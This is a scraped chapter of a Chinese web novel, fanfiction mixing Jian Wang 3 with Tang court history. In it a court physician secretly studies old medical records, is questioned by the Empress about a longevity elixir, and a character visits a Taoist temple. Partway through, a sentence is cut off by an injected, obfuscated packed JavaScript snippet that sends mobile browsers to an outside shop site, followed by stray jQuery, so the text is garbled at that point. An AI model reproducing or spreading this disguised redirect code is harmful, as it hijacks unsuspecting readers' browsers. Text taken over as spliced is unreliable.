文趣网 > 其他小说 > [主剑网三+历史]君仪这只鸟 > 77.陈年旧案
    宫殿内烛火通明,香炉里焚着龙涎香,香气沉静又厚重,却压得人连气都喘不过来。

    “你说,秦鸣鹤拿走了放在太医署的旧案?”

    “回禀陛下,千真万确。”老太医努力维持着平时的语调:“陛下早些年吩咐老臣,留意旧案的事。这么多年来,都不曾有人接触过太医署的旧案。只有……只有秦太医前些日子来翻找过,还把旧案带了回去。”

    女皇闻言停下了手中的笔,烛光将她的面容映得一半明一半暗,让人看不清眼底的神情。

    殿里的气氛越来越压抑,低着头的老太医也忍不住放缓了呼吸。

    片刻后,殿中再次响起了女皇的声音。

    “知道了,下去吧。”

    “是!是!”老太医如蒙大赦,赶紧拱了拱手,躬身道:“老臣告退。”

    殿门重新合拢,殿内陷入了寂静。

    女皇依旧维持着执笔的姿势,目光却没有落在奏章上。

    “秦鸣鹤……”她眯了眯眼睛,面色也跟着沉了几分。

    ……

    又是几声鸡鸣过后,天已经完全亮了,太医署的值房里还亮着一盏残烛。

    秦鸣鹤伏在案前,面前摊着几卷泛黄的旧案,周围还散落着十几张写画得密密麻麻的纸。

    他拿起了旁边的纸张看了看,眉头一皱又放了下去,转而捞起了另一张,越看眉头皱得越紧。手中的笔在纸上写了又划,划了又写,最终他还是摇了摇头。

    他并非不知私调旧案犯忌,可病案上的疑点实在太过刺眼,不查清楚终究难安。

    眼看着光已经从窗纸照了进来,秦鸣鹤抬起头,望向窗外。外面时不时地走过一两个忙碌的身影,他不知不觉已经熬了一夜。

    感觉看得差不多了,他拿起了旁边的卷宗放好,起身打开值房的门,冲着门外吩咐道:“来个人去浑天监,请君少师过来一趟。就说……秦鸣鹤有要事相商。”

    “是。”听到了声音的小吏点了点头,快步往太医署外面走去。

    目送着小吏离开,秦鸣鹤又退回了值房里,关上门后重新坐回刚才的位置上。

    看着面前散落的纸张,他又拿起了笔,就在他打算继续写的时候,敲门声突然响了起来。

    “是谁?”秦鸣鹤猛地抬头,下意识地将纸张拢了拢。

    门外,一个尖细的声音传了进来:“秦太医,小人是陛下身边的人,陛下宣您入宫觐见。”

    听到这个回话,秦鸣鹤原本收拾纸张的动作也快了几分。将写满字迹的纸全都夹进旧卷宗里,他抱着卷宗快步走到墙角,塞进药柜最底层的空柜,又用几个药罐挡在前面。

    确认看不出问题后,他才拢了拢官袍,走过去打开了门。

    门外站着一个年轻的内侍,见屋内的人出来了,他面无表情地重复道:“秦太医,陛下忽然头疼,宣您入宫诊治一下。”

    秦鸣鹤微微一愣,有些迟疑:“陛下的病,应该有当值的御医侍疾,怎么会来找老臣?”

    “这就不是小人能知道的了。”内侍微微倾身,行了个礼,“秦太医,既然陛下的吩咐,就不要再耽误时辰了,请吧。”

    明知道再问下去也没有什么意义,秦鸣鹤只得点了点头,跟着内侍进了宫。

    殿内有些昏暗,就连侍奉的人都很少。听到了背后殿门关闭的声音,秦鸣鹤下意识地往后看了看,刚准备行礼时,就听见女皇说道:“秦太医是老太医,礼数就免了吧。”

    “是……”

    还没等秦鸣鹤拱手谢恩,女皇就直接开口道:“朕听君少师说,这些时日,你与他一起研究关于长生的药方,可有什么结果了?”

    秦鸣鹤心头微微一紧,拱手道:“回禀陛下,老臣这里已经有了初步的结果。”

    “哦?”女皇抬了抬眼,像是来了几分兴致,“那药方呢?”

    “回陛下,不是药方,是丹药。”秦鸣鹤垂着头,“炼成的丹药,老臣已经交给君少师了。”

    “原来在君少师那里。”女皇若有所思地喃喃了一句,“这么说来,你们北天药宗,果然有研制长生之法的本事。”

    “陛下!”秦鸣鹤心里咯噔一声,腿一软直接跪倒在地,“陛下!这丹方是老臣一人钻研所得,和老臣的师门没有关系啊!”

    女皇低头看着台阶下的人,嘴角的笑意还没有消退,却淡了几分。

    “可朕记得,你们师门一脉相承,医术同出一源。”

    秦鸣鹤的额头已经急出了汗。

    “回陛下,老臣的师门弟子专精不同,各有所长,毕生所求不过是钻研医术、普济众生,心里不敢有别的想法。”

    “普济众生?”

    女皇的声音忽然冷了下来。

    “你们要是能普济众生,那还要朕做什么?”

    “陛下!”秦鸣鹤猛地叩首,“老臣绝无此意!”

    殿内陷入了一片死寂。

    秦鸣鹤伏在地上,不敢抬头。过了许久,他才听见龙椅上的女皇开口道:“起来吧。朕不过随口一问,秦太医倒不必如此紧张。”

    秦鸣鹤迟疑了一下,缓缓起身,却依旧是不敢抬头。

    见他这副模样,女皇的语气也缓和了不少。

    “既然丹药已经有了眉目,那朕也不为难你。改日朕自会找君少师细说,你先退下吧。”

    “是……老臣告退。”秦鸣鹤躬身退出了大殿。

    殿门在他身后缓缓合拢,听到关门声,他才猛地回过神来,发现自己的掌心里全是冷汗……

    盛夏的日光亮得有些晃眼,等到秦鸣鹤回到了太医署时,先前派出去的小吏已经等在了屋檐下。

    “秦太医。”看到了人,小吏赶紧跑过来说道:“太医,小人刚才去浑天监问了,说君少师一大早就出去了,现在还没回来呢。”

    “……下去吧。”秦鸣鹤摆了摆手,疲惫地叹了口气。

    “是!”

    小吏应声退下,脚步声渐渐远了。

    秦鸣鹤独自站在门前,站了好一会儿才推开值房的门走了进去。

    反手掩上房门,他又来到了藏旧案的墙角,从药柜最底层的空柜里拿出了那份旧案。里面还夹着他对于旧案的疑惑,看着上面密密麻麻的字,秦鸣鹤把旧案放到了一边,又去桌下拿起了一个火盆点燃。

    眼看着火舌越来越高,他把先前记录的纸一张一张全都投了进去。火苗舔上纸张时,他的手微微颤了一下,火光在他脸上明灭不定,纸张终究是一点点化成了灰烬。

    手边就剩下了那卷旧案,秦鸣鹤迟疑了一下,还是把旧案放回了之前的空柜里。

    ……

    阳光透过树叶洒落满地,洛阳城外的紫金观香火鼎盛。

    自从百姓得知,为女皇讲道的吕真人就住在这紫金观之后,前来求福的百姓就从没有断过。

    前院的烟火喧嚣,后院却是另一番光景。

    剑气裹着微风在院中回转着,青砖上凝着一幅阴阳八卦图,纹路清晰可见。

    就在这时,一道身影越过高墙,几个起落就来到了院中的树下。

    看着院中的剑气,又看了看在中间聚气的少年,君仪弯下腰,从树下捡起了一根树枝,抬手扔了过去。然而树

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749467|202939||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    枝还没接触到八卦图的范围,就被周围的剑气搅断。

    虽然被外力干扰了,但站在八卦图中间的谢云流却丝毫没有分心,越来越强的剑意在院中流转,渐渐蔓延到了君仪站着的树的范围。

    眼看着树就要被剑气所伤,君仪后退一步,对着院中喊了一句:“可以了!”

    突然间,周围的剑气快速聚拢,剑光如同一道道银虹划过。转了一圈之后,又全都聚回了谢云流的身边。

    君仪摇着扇子,看着场中少年收剑站稳后,才微微点头道:“进步不小,看来近来是下了不少苦功啊。”

    半月前还是几道零星的剑气,半月后就已经能形成阵法了。

    谢云流收了剑,抬手抹了下额角的薄汗。

    “托你的福,最近来找师父的人越来越多了,还有不少人想拜师父为师的。再怎么说我也是首徒,总不能给师父丢脸。”

    君仪闻言,偏过头看向了紫金观正殿的方向。隔着几道院墙,他还能听见那边传来的话语声和脚步声。

    “我倒是没想到,只不过是论道,最后能论到这个地步。”

    “他们哪里是来论道的。”谢云流撇撇嘴,“要么是想拜在师父门下做记名弟子,要么就是来求签算命的,烦得很。”

    听出了这话里的怨念,君仪挑了挑眉,看向谢云流:“怎么,你这是有危机感了?”

    “什么危机感!”谢云流骄傲地扬了扬头,“我可是纯阳真人吕洞宾座下首徒,以后来的都是师弟师妹,我照拂他们是应当的。”说到这里,他看向了站在树下依旧穿得不伦不类,完全没有半点朝中大员气息的人。

    “你不是太子少师么,怎么天天往观里跑,东宫没事做?”

    “太子少师?”君仪闻言,嗤笑一声。“太子少师想要有事做,那得太子听劝才行。”他走到谢云流身边,压低声音说道:“我要是去东宫,待遇就跟你师父差不了多少。太子殿下跟我说话,除了问吉凶之外,没有什么正经事。”

    “那这也叫太子?”谢云流皱了皱眉。

    “不然呢?”君仪反问。

    “……”

    眼看着已经要到下午了,君仪又看了一眼紫金观正殿的方向:“你师父什么时候讲完?”

    谢云流仔细想了想:“约莫一炷香吧。”他抬头看向身边的人,有些疑惑:“你怎么偷偷摸摸的?来这紫金观都得大白天翻墙。”

    “当然是因为……不能让人知道了。”君仪看着谢云流,神秘一笑。

    这话却让谢云流有些警惕。

    “……不能让人知道?你又找我师父做什么?”

    见他这样,君仪也有些无奈:“倒也不必这么提防我。我只不过是来问问道长,他之前跟陛下讲道,都聊了些什么。”

    “我还以为是什么事呢。”谢云流随意摆了摆手。

    君仪有些意外:“你知道?”他挑了挑眉,凑到了谢云流的身边。

    谢云流左右扫了一眼,见没有人过来,他也凑了过去,低声说:“我师父说,陛下问的多是权力还有因果……对于他公开讲的道,都没有什么回应。”

    “权力和因果?”摇扇子的手一顿,君仪微微皱起了眉头:“陛下没有问过长生?”

    谢云流摇了摇头,眼见身边人神色不对,他低声道:“怎么了?”

    “……没什么。”君仪哼笑了一声,“我以为陛下会问道长关于长生的事,没想到事实跟我预料中的完全不一样。”

    就在这时,几道脚步声越来越近。

    后院的二人对视一眼,足尖一点便悄无声息地飞上了房顶。